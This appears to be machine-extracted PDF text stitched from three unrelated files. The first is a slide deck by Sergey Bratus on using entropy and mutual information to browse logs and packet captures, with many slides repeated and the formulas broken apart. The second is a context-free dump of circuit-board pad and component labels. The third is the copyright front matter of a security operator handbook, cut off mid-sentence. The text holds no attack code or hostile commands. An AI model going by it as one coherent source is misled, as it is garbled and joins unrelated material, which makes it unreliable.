...in a twisty maze of
messages, all alike...
...but slightly different, in
ways you don’t expect.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Old tricks
Sorting, grouping & filtering:
Shows max and min values in a field
Groups together records with the
same values
Drills down to an “interesting” group
Key problems:
1
Where to start? Which column or protocol feature to pick?
2
How to group? Which grouping helps best to understand
the overall data?
3
How to automate guessing (1) and (2)?
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Old tricks
Sorting, grouping & filtering:
Shows max and min values in a field
Groups together records with the
same values
Drills down to an “interesting” group
Key problems:
1
Where to start? Which column or protocol feature to pick?
2
How to group? Which grouping helps best to understand
the overall data?
3
How to automate guessing (1) and (2)?
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Old tricks
Sorting, grouping & filtering:
Shows max and min values in a field
Groups together records with the
same values
Drills down to an “interesting” group
Key problems:
1
Where to start? Which column or protocol feature to pick?
2
How to group? Which grouping helps best to understand
the overall data?
3
How to automate guessing (1) and (2)?
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Estimating uncertainty
Trivial observations
Most lines in a large log will not be examined directly, ever.
One just needs to convince oneself that he’s seen
everything interesting.
Zero in on “interesting stuff”, must fold away and ignore the
rest.
The problem:
Must deal with uncertainty about the rest of the log.
Measure it!
There is a measure of uncertainty: entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (1)
“Look at the most frequent and least frequent values” in a
column or list.
What if there are many columns and batches of data?
Which column to start with? How to rank them?
It would be nice to begin with “easier to understand” columns or
features.
Suggestion:
1
Start with a data summary based on the columns with
simplest value frequency charts (histograms).
2
Simplicity −→ less uncertainty −→ smaller entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (1)
“Look at the most frequent and least frequent values” in a
column or list.
What if there are many columns and batches of data?
Which column to start with? How to rank them?
It would be nice to begin with “easier to understand” columns or
features.
Suggestion:
1
Start with a data summary based on the columns with
simplest value frequency charts (histograms).
2
Simplicity −→ less uncertainty −→ smaller entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (1)
“Look at the most frequent and least frequent values” in a
column or list.
What if there are many columns and batches of data?
Which column to start with? How to rank them?
It would be nice to begin with “easier to understand” columns or
features.
Suggestion:
1
Start with a data summary based on the columns with
simplest value frequency charts (histograms).
2
Simplicity −→ less uncertainty −→ smaller entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Trivial observations, visualized
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Start simple: Ranges
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
A frequency histogram
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Start simple: Histograms
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Probability distribution
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Definition of entropy
Let a random variable X take values x1, x2, . . . , xk with
probabilities p1, p2, . . . , pk.
Definition (Shannon, 1948)
The entropy of X is
H(X) =
k
i=1
pi · log2
1
pi
Recall that the probability of value xi is pi = ni/N for all
i = 1, . . . , k.
1
Entropy measures the uncertainty or lack of information
about the values of a variable.
2
Entropy is related to the number of bits needed to encode
the missing information (to full certainty).
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Why logarithms?
Fact:
The least number of bits needed to encode numbers between 1
and N is log2 N.
Example
You are to receive one of N objects, equally likely to be
chosen.
What is the measure of your uncertainty?
Answer in the spirit of Shannon:
The number of bits needed to communicate the number of the
object (and thus remove all uncertainty), i.e. log2 N.
If some object is more likely to be picked than others,
uncertainty decreases.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Entropy on a histogram
1
Interpretation
Entropy is a measure of uncertainty about the
value of X
1
X = (.25
.25
.25
.25) : H(X) = 2 (bits)
2
X = (.5
.3
.1
.1) :
H(X) = 1.685
3
X = (.8
.1
.05
.05) : H(X) = 1.022
4
X = (1
0
0
0) :
H(X) = 0
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Entropy on a histogram
1
2
Interpretation
Entropy is a measure of uncertainty about the
value of X
1
X = (.25
.25
.25
.25) : H(X) = 2 (bits)
2
X = (.5
.3
.1
.1) :
H(X) = 1.685
3
X = (.8
.1
.05
.05) : H(X) = 1.022
4
X = (1
0
0
0) :
H(X) = 0
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Entropy on a histogram
1
2
3
Interpretation
Entropy is a measure of uncertainty about the
value of X
1
X = (.25
.25
.25
.25) : H(X) = 2 (bits)
2
X = (.5
.3
.1
.1) :
H(X) = 1.685
3
X = (.8
.1
.05
.05) : H(X) = 1.022
4
X = (1
0
0
0) :
H(X) = 0
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Entropy on a histogram
1
2
3
4
Interpretation
Entropy is a measure of uncertainty about the
value of X
1
X = (.25
.25
.25
.25) : H(X) = 2 (bits)
2
X = (.5
.3
.1
.1) :
H(X) = 1.685
3
X = (.8
.1
.05
.05) : H(X) = 1.022
4
X = (1
0
0
0) :
H(X) = 0
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Entropy on a histogram
1
2
3
4
Interpretation
Entropy is a measure of uncertainty about the
value of X
1
X = (.25
.25
.25
.25) : H(X) = 2 (bits)
2
X = (.5
.3
.1
.1) :
H(X) = 1.685
3
X = (.8
.1
.05
.05) : H(X) = 1.022
4
X = (1
0
0
0) :
H(X) = 0
For only one value, the entropy is 0.
When all N values have the same frequency,
the entropy is maximal, log2 N.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Compare histograms
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Start with the simplest
I am the simplest!
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
A tree grows in Ethereal
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (2)
“Look for correlations. If two fields are strongly correlated on
average, but for some values the correlation breaks, look at
those more closely”.
Which pair of fields to start with?
How to rank correlations?
Too many to try by hand, even with a good graphing tool like R
or Matlab.
Suggestion:
1
Try and rank pairs before looking, and look at the simpler
correlations first.
2
Simplicity −→ stronger correlation between features −→
smaller conditional entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (2)
“Look for correlations. If two fields are strongly correlated on
average, but for some values the correlation breaks, look at
those more closely”.
Which pair of fields to start with?
How to rank correlations?
Too many to try by hand, even with a good graphing tool like R
or Matlab.
Suggestion:
1
Try and rank pairs before looking, and look at the simpler
correlations first.
2
Simplicity −→ stronger correlation between features −→
smaller conditional entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Automating old tricks (2)
“Look for correlations. If two fields are strongly correlated on
average, but for some values the correlation breaks, look at
those more closely”.
Which pair of fields to start with?
How to rank correlations?
Too many to try by hand, even with a good graphing tool like R
or Matlab.
Suggestion:
1
Try and rank pairs before looking, and look at the simpler
correlations first.
2
Simplicity −→ stronger correlation between features −→
smaller conditional entropy.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Histograms 3d: Feature pairs
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Measure of mutual dependence
How much knowing X tells about Y (on average)?
How strong is the connection?
Compare:
H(X, Y) and H(X)
Compare:
H(X) + H(Y) and H(X, Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Joint Entropy
Take N records with two variables X and Y and estimate the
probabilities of seeing a pair of values
p(xi, yj) = nij
N ,
(N =
i,j
nij)
y1
y2
. . .
x1
n11
n12
. . .
x2
n21
n22
. . .
...
...
...
...
where nij is the count of a pair (xi, yj).
Joint Entropy
H(X, Y) =
ij
p(xi, yj) · log2
1
p(xi, yj)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Joint Entropy
Take N records with two variables X and Y and estimate the
probabilities of seeing a pair of values
p(xi, yj) = nij
N ,
(N =
i,j
nij)
y1
y2
. . .
x1
n11
n12
. . .
x2
n21
n22
. . .
...
...
...
...
where nij is the count of a pair (xi, yj).
Joint Entropy
H(X, Y) =
ij
p(xi, yj) · log2
1
p(xi, yj)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Joint Entropy
Take N records with two variables X and Y and estimate the
probabilities of seeing a pair of values
p(xi, yj) = nij
N ,
(N =
i,j
nij)
y1
y2
. . .
x1
n11
n12
. . .
x2
n21
n22
. . .
...
...
...
...
where nij is the count of a pair (xi, yj).
Joint Entropy
H(X, Y) =
ij
p(xi, yj) · log2
1
p(xi, yj)
Always true:
H(X) + H(Y) ≥ H(X, Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Joint Entropy
Take N records with two variables X and Y and estimate the
probabilities of seeing a pair of values
p(xi, yj) = nij
N ,
(N =
i,j
nij)
y1
y2
. . .
x1
n11
n12
. . .
x2
n21
n22
. . .
...
...
...
...
where nij is the count of a pair (xi, yj).
Joint Entropy
H(X, Y) =
ij
p(xi, yj) · log2
1
p(xi, yj)
Independence
H(X, Y) = H(X)+H(Y) if and only if X and Y are independent.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Dependence
Independent variables X and Y:
Knowing X tells us nothing about Y
No matter what x we fix, the histogram of Y’s values
co-occurring with that x will be the same shape
H(X, Y) = H(X) + H(Y)
Dependent X and Y:
Knowing X tells us something about Y (and vice versa)
Histograms of ys co-occurring with a fixed x have different
shapes
H(X, Y) < H(X) + H(Y)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Mutual Information
Definition
Conditional entropy of Y given X
H(Y|X) = H(X, Y) − H(X)
Uncertainty about Y left once we know X.
Definition
Mutual information of two variables X and Y
I(X; Y) = H(X) + H(Y) − H(X, Y)
Reduction in uncertainty about X once we
know Y and vice versa.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Mutual Information
Definition
Conditional entropy of Y given X
H(Y|X) = H(X, Y) − H(X)
Uncertainty about Y left once we know X.
Definition
Mutual information of two variables X and Y
I(X; Y) = H(X) + H(Y) − H(X, Y)
Reduction in uncertainty about X once we
know Y and vice versa.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Histograms 3d: Feature pairs, Port scan
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Histograms 3d: Feature pairs, Port scan
H(Y|X)=0.76
H(Y|X)=2.216
H(Y|X)=0.39
H(Y|X)=3.35
Pick me!
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Outline
1
Log browsing moves
Pipes and tables
Trees are better than pipes and tables!
2
Data organization
Trying to define the browsing problem
Entropy
Measuring co-dependence
Mutual Information
The tree building algorithm
3
Examples
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Building a data view
1
Pick the feature with lowest non-zero
entropy (“simplest histogram”)
2
Split all records on its distinct values
3
Order other features by the strength
of their dependence with with the
first feature (conditional entropy or
mutual information)
4
Use this order to label groups
5
Repeat with next feature in (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Building a data view
1
Pick the feature with lowest non-zero
entropy (“simplest histogram”)
2
Split all records on its distinct values
3
Order other features by the strength
of their dependence with with the
first feature (conditional entropy or
mutual information)
4
Use this order to label groups
5
Repeat with next feature in (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Building a data view
1
Pick the feature with lowest non-zero
entropy (“simplest histogram”)
2
Split all records on its distinct values
3
Order other features by the strength
of their dependence with with the
first feature (conditional entropy or
mutual information)
4
Use this order to label groups
5
Repeat with next feature in (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Building a data view
1
Pick the feature with lowest non-zero
entropy (“simplest histogram”)
2
Split all records on its distinct values
3
Order other features by the strength
of their dependence with with the
first feature (conditional entropy or
mutual information)
4
Use this order to label groups
5
Repeat with next feature in (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Building a data view
1
Pick the feature with lowest non-zero
entropy (“simplest histogram”)
2
Split all records on its distinct values
3
Order other features by the strength
of their dependence with with the
first feature (conditional entropy or
mutual information)
4
Use this order to label groups
5
Repeat with next feature in (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Snort port scan alerts
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Quick pair summary
One ISP, 617 lines, 2 users, one tends to mistype.
11 lines of screen space.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Quick pair summary
One ISP, 617 lines, 2 users, one tends to mistype.
11 lines of screen space.
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Novelty changes the order
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Looking at Root-Fu captures
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Looking at Root-Fu captures
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Comparing 2nd order uncertainties
1
2
3
Compare uncertainties in each
Protocol group:
1
Destination: H = 2.9999
2
Source: H = 2.8368
3
Info: H = 2.4957
“Start with the simpler view”
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Comparing 2nd order uncertainties
1
2
3
Compare uncertainties in each
Protocol group:
1
Destination: H = 2.9999
2
Source: H = 2.8368
3
Info: H = 2.4957
“Start with the simpler view”
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Looking at Root-Fu captures
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Looking at Root-Fu captures
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Looking at Root-Fu captures
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Screenshots (1)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Screenshots (2)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Screenshots (3)
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Research links
Research on using entropy and related measures for network
anomaly detection:
Information-Theoretic Measures for Anomaly Detection,
Wenke Lee & Dong Xiang, 2001
Characterization of network-wide anomalies in traffic flows,
Anukool Lakhina, Mark Crovella & Christiphe Diot, 2004
Detecting Anomalies in Network Traffic Using Maximum
Entropy Estimation, Yu Gu, Andrew McCallum & Don
Towsley, 2005
...
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Summary
Information theory provides useful heuristics for:
summarizing log data in medium size batches,
choosing data views that show off interesting features of a
particular batch,
finding good starting points for analysis.
Helpful even with simplest data organization tricks.
In one sentence
H(X), H(X|Y), I(X; Y), . . . :
parts of a complete analysis kit!
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Summary
Information theory provides useful heuristics for:
summarizing log data in medium size batches,
choosing data views that show off interesting features of a
particular batch,
finding good starting points for analysis.
Helpful even with simplest data organization tricks.
In one sentence
H(X), H(X|Y), I(X; Y), . . . :
parts of a complete analysis kit!
Sergey Bratus
Entropy tricks for browsing logs and packet captures
Log browsing moves
Data organization
Examples
Source code and docs
For source code (GPL), documentation, and technical reports:
http://kerf.cs.dartmouth.edu
Sergey Bratus
Entropy tricks for browsing logs and packet captures | pdf |
PAC101
PAC102
COC1
PAC201
PAC202
COC2
PAC301
PAC302
COC3
PAC401
PAC402
COC4
PAC501
PAC502
COC5
PAC601
PAC602
COC6
PAC702
PAC701
COC7
PAC802
PAC801
COC8
PAC901
PAC902
COC9
PAC1002
PAC1001
COC10
PAC1101
PAC1102
COC11
PAC1201
PAC1202
COC12
PAC1301
PAC1302
COC13
PAC1401
PAC1402
COC14
PAC1501
PAC1502
COC15
PAC1701
PAC1702
COC17
PAC1801
PAC1802
COC18
PAC1901
PAC1902
COC19
PAC2001
PAC2002
COC20
PAC2101
PAC2102
COC21
PAC2201
PAC2202
COC22
PAD103
PAD102
PAD101
COD1
PAL102 PAL101
COL1
PAP100
PAP101
PAP102
PAP103
PAP104
PAP105
COP1
PAP205 PAP204 PAP203 PAP202 PAP201
COP2
PAP305 PAP304 PAP303 PAP302 PAP301
COP3
PAP405 PAP404 PAP403 PAP402 PAP401
COP4
PAP505 PAP504 PAP503 PAP502 PAP501
COP5
PAP605 PAP604 PAP603 PAP602 PAP601
COP6
PAP7010
PAP709
PAP708
PAP707
PAP706
PAP705
PAP704
PAP703
PAP702
PAP701
COP7
PAP801
PAP802
PAP803
PAP804
PAP805
PAP806
PAP807
PAP808
PAP809
PAP8010
COP8
PAP9010
PAP909
PAP908
PAP907
PAP906
PAP905
PAP904
PAP903
PAP902
PAP901
COP9
PAQ103
PAQ101
PAQ102
COQ1
PAR101
PAR102
COR1
PAR201
PAR202
COR2
PAR301
PAR302
COR3
PAR401
PAR402
COR4
PAR501
PAR502
COR5
PAR601
PAR602
COR6
PAR701
PAR702
COR7
PAR801
PAR802
COR8
PAR901
PAR902
COR9
PAR1001
PAR1002
COR10
PAR11012
PAR1108
PAR1106
PAR1104
PAR1102
PAR1101
PAR11014
PAR11010
PAR11016
PAR11015
PAR11013
PAR11011
PAR1109
PAR1103
PAR1105
PAR1107
COR11
PAR12012
PAR1208
PAR1206
PAR1204
PAR1202
PAR1201
PAR12014
PAR12010
PAR12016
PAR12015
PAR12013
PAR12011
PAR1209
PAR1203
PAR1205
PAR1207
COR12
PAR13012
PAR1308
PAR1306
PAR1304
PAR1302
PAR1301
PAR13014
PAR13010
PAR13016
PAR13015
PAR13013
PAR13011
PAR1309
PAR1303
PAR1305
PAR1307
COR13
PASW101
PASW102
COSW1
PAU1015
PAU1016
PAU1017
PAU1018
PAU1019
PAU1020
PAU1021
PAU1022
PAU1023
PAU1024
PAU1025
PAU1026
PAU1027
PAU1028
PAU1014
PAU1013
PAU1012
PAU1011
PAU1010
PAU109
PAU108
PAU107
PAU106
PAU105
PAU104
PAU103
PAU102
PAU101
COU1
PAU2044
PAU2043
PAU2042
PAU2041
PAU2040
PAU2039
PAU2038
PAU2037
PAU2036
PAU2035
PAU2034
PAU2033
PAU2032
PAU2031
PAU2030
PAU2029
PAU2028
PAU2027
PAU2026
PAU2025
PAU2024
PAU2022 PAU2023
PAU2021
PAU2020
PAU2019
PAU2018
PAU2017
PAU2016
PAU2015
PAU2014
PAU2013
PAU2012
PAU2011
PAU2010
PAU209
PAU208
PAU207
PAU206
PAU205
PAU204
PAU203
PAU202
PAU201
COU2
PAU305
PAU306
PAU307
PAU308
PAU304
PAU303
PAU302
PAU301
COU3
PAU403 PAU402 PAU401
PAU404
PAU406 PAU407 PAU408
PAU405
COU4
PAU503 PAU502 PAU501
PAU504
PAU506 PAU507 PAU508
PAU505
COU5
PAU604
PAU603
PAU602
PAU601
COU6
PAU701
PAU702
PAU703
PAU704
PAU705
PAU706
COU7
PAU801
PAU802
PAU803
PAU804
PAU805
PAU806
COU8
PAU9011
PAU9012
PAU9013
PAU9014
PAU9015
PAU9016
PAU9017
PAU9018
PAU9019
PAU9020
PAU9010
PAU909
PAU908
PAU907
PAU906
PAU905
PAU904
PAU903
PAU902
PAU901
COU9
PAU1001
PAU1002
PAU1003
PAU1004
PAU1005
PAU1006
COU10
PAU1101
PAU1102
PAU1103
PAU1104
PAU1105
PAU1106
COU11
PAU12011
PAU12012
PAU12013
PAU12014
PAU12015
PAU12016
PAU12017
PAU12018
PAU12019
PAU12020
PAU12010
PAU1209
PAU1208
PAU1207
PAU1206
PAU1205
PAU1204
PAU1203
PAU1202
PAU1201
COU12
PAU1301
PAU1302
PAU1303
PAU1304
PAU1305
PAU1306
COU13
PAU1401
PAU1402
PAU1403
PAU1404
PAU1405
PAU1406
COU14
PAU15011
PAU15012
PAU15013
PAU15014
PAU15015
PAU15016
PAU15017
PAU15018
PAU15019
PAU15020
PAU15010
PAU1509
PAU1508
PAU1507
PAU1506
PAU1505
PAU1504
PAU1503
PAU1502
PAU1501
COU15
PAY102
PAY101
COY1
PAQ103
PASW101
PAU207
PAC701
PAC1202
PAC1302
PAC1402
PAC1502
PAC1702
PAC1802
PAC1902
PAR302 PAR402
PAU208
PAU2018
PAU2030
PAU2040
PAU408
PAU602
PAU604
PAU9019
PAU12019
PAU15019
PAC602
PAC1001
PAC1102
PAU306
PAU308
PAU507
PAU603
PAP202
PAP702
PAR1101
PAP203
PAP704
PAR1102
PAP204
PAP705
PAR1103
PAP205
PAP706
PAR1104
PAP301
PAP707
PAR1105
PAP302
PAP708
PAR1106
PAP303
PAP709
PAR1107
PAP304
PAP7010
PAR1108
PAP305
PAP802
PAR1201
PAP401
PAP804
PAR1202
PAP402
PAP805
PAR1203
PAP403
PAP806
PAR1204
PAP404
PAP807
PAR1205
PAP405
PAP808
PAR1206
PAP501
PAP809
PAR1207
PAP502
PAP8010
PAR1208
PAP503
PAP902
PAR1301
PAP504
PAP904
PAR1302
PAP505
PAP905
PAR1303
PAP601
PAP906
PAR1304
PAP602
PAP907
PAR1305
PAP603
PAP908
PAR1306
PAP604
PAP909
PAR1307
PAP605
PAP9010
PAR1308
PAR702
PAR902
PAU2032
PAC101
PAC301
PAC501
PAC601
PAC702
PAC802
PAC901
PAC1002
PAC1101
PAC1201
PAC1301
PAC1401
PAC1501
PAC1701
PAC1801
PAC1901
PAC2001
PAC2101
PAC2201
PAD102
PAP105
PAP201
PAP701
PAP801
PAP901
PAQ101
PAR201
PAR901
PAR1001
PASW102
PAU107
PAU1018
PAU1021
PAU1025
PAU1026
PAU205
PAU206
PAU2017
PAU2027
PAU2039
PAU303
PAU403 PAU402 PAU401
PAU404
PAU407
PAU504
PAU601
PAU702
PAU802
PAU9011
PAU1002
PAU1102
PAU12011
PAU1302
PAU1402
PAU15011
PAR602
PAU2033
PAR502
PAU2034
PAC102
PAL101
PAP101
PAC201
PAQ102 PAR202
PAC202
PAU102
PAC302
PAR102
PAU104
PAU1017
PAR701 PAC401
PAR802
PAR801 PAC502
PAU503
PAD101
PAR501
PAD103
PAR601
PAR101
PAU1014
PAU301
PAR1002
PAU2031
PAU9010
PAU12010
PAU15010
PAR1109
PAU703
PAU909
PAR11010
PAU701
PAU908
PAR11011
PAU706
PAU907
PAR11012
PAU704
PAU906
PAR11013
PAU803
PAU905
PAR11014
PAU801
PAU904
PAR11015
PAU804
PAU903
PAR11016
PAU806
PAU901
PAR1209
PAU1006
PAU1209
PAR12010
PAU1004
PAU1208
PAR12011
PAU1003
PAU1207
PAR12012
PAU1001
PAU1206
PAR12013
PAU1103
PAU1205
PAR12014
PAU1101
PAU1204
PAR12015
PAU1106
PAU1203
PAR12016
PAU1104
PAU1201
PAR1309
PAU1304
PAU1509
PAR13010
PAU1306
PAU1508
PAR13011
PAU1303
PAU1507
PAR13012
PAU1301
PAU1506
PAR13013
PAU1406
PAU1505
PAR13014
PAU1404
PAU1504
PAR13015
PAU1403
PAU1503
PAR13016
PAU1401
PAU1501
PAU2028
PAY101
PAU2029
PAY102
PAU2041
PAU9020
PAU2042
PAU9018
PAU2043
PAU9017
PAU2044
PAU9016
PAU201
PAU9015
PAU202
PAU9014
PAU203
PAU9013
PAU204
PAU9012
PAU209
PAU12020
PAU2010
PAU12018
PAU2011
PAU12017
PAU2012
PAU12016
PAU2013
PAU12015
PAU2014
PAU12014
PAU2015
PAU12013
PAU2016
PAU12012
PAU2019
PAU15020
PAU2020
PAU15018
PAU2021
PAU15017
PAU2022
PAU15016
PAU2023
PAU15015
PAU2024
PAU15014
PAU2025
PAU15013
PAU2026
PAU15012
PAU101
PAU2038
PAR401
PAU2035
PAU406
PAR301
PAU2036
PAU405
PAU105
PAU2037
PAP102
PAU1016
PAP103
PAU1015
PAC402
PAC2002
PAC2102
PAC2202
PAP703
PAP803
PAP903
PAU502
PAU506
PAU705
PAU805
PAU902
PAU1005
PAU1105
PAU1202
PAU1305
PAU1405
PAU1502
PAC801
PAC902
PAL102
PAU1020
PAU307 | pdf |
OPERATOR HANDBOOK
SEARCH.COPY.PASTE.L33T;)
RED TEAM + OSINT + BLUE TEAM
NETMUX
V1 [02APR2020]
2
Operator Handbook. Copyright © 2020 Netmux LLC
All rights reserved. Without limiting the rights under the
copyright reserved above, no part of this publication may be
reproduced, stored in, or introduced into a retrieval system, or
transmitted in any form or by any means (electronic, mechanical,
photocopying, recording, or otherwise) without prior written
permission.
ISBN-10: 9798605493952
Operator Handbook, Operator Handbook Logo, Netmux, and the Netmux
logo are registered trademarks of Netmux, LLC. Other product and
company names mentioned herein may be the trademarks of their
respective owners. Rather than use a trademark symbol with every
occurrence of a trademarked name, we are using the names only in an
editorial fashion and to the benefit of the trademark owner, with
no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis,
without warranty. While every precaution has been taken in the
preparation of this work, neither the author nor Netmux LLC, shall
have any liability to any person or entity with respect to any loss
or damage caused or alleged to be caused directly or indirectly by
the information contained in it.
While every effort has been made to ensure the accuracy and
legitimacy of the references, referrals, and links (collectively
“Links”) presented in this book/ebook, Netmux is not responsible or
liable for broken Links or missing or fallacious information at the
Links. Any Links in this book to a specific product, process,
